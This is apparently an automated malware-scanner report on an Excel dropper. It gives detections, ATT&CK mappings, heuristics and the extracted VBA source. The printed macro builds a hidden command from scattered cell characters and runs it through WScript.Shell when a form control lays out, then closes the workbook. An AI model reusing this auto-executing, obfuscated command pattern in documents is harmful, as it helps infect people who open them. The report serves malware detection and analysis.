MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is an Excel document containing VBA macros that use WScript.Shell to execute obfuscated commands. The script attempts to construct a command string by concatenating parts of cell values and then executes it using `exec(@A1_1).readAll#()`. This behavior is indicative of a dropper or downloader, aiming to fetch and run a secondary malicious payload. The ClamAV detection name further supports this assessment.
Heuristics 4
-
ClamAV: Xls.Dropper.Agent-7932475-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Agent-7932475-0
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Next: On Error Resume Next MsgBox Len(Wscript.echo(CreateObject("WScript.Shell").exec@(A1_1).readAll#())): EndPrinting End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Next: On Error Resume Next MsgBox Len(Wscript.echo(CreateObject("WScript.Shell").exec@(A1_1).readAll#())): EndPrinting End Sub
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1005 bytes |
SHA-256: c6e65a5ed4adf04d60acf34ec2334be007f5fca2eea8f99f9ae343549e523876 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "PtintStarting, 1, 0, MSForms, Frame"
Private Sub PtintStarting_Layout()
For Each Ass In [A30:GQ2000].SpecialCells(xlConstants)
If Len(Ass) > 2.44 Then A1_1 = A1_1 & Mid(Ass.Text, 2, 1)
Next: On Error Resume Next
MsgBox Len(Wscript.echo(CreateObject("WScript.Shell").exec@(A1_1).readAll#())): EndPrinting
End Sub
Sub EndPrinting()
ActiveWorkbook.Close False
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 10240 bytes |
SHA-256: e406788c4e9a00442506a824794c79b538842969ee6fadc9684356816107a36d |
|||
|
Detection
ClamAV:
Xls.Dropper.Agent-7932475-0
Obfuscation or payload:
unlikely
|
|||
emf_00.emf |
ooxml-emf | OOXML EMF part: xl/media/image1.emf | 1976 bytes |
SHA-256: 76f287b1e3251b7e0e5ba27bfb05b35831150cc665de00f9fd2d807e2d2a028d |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.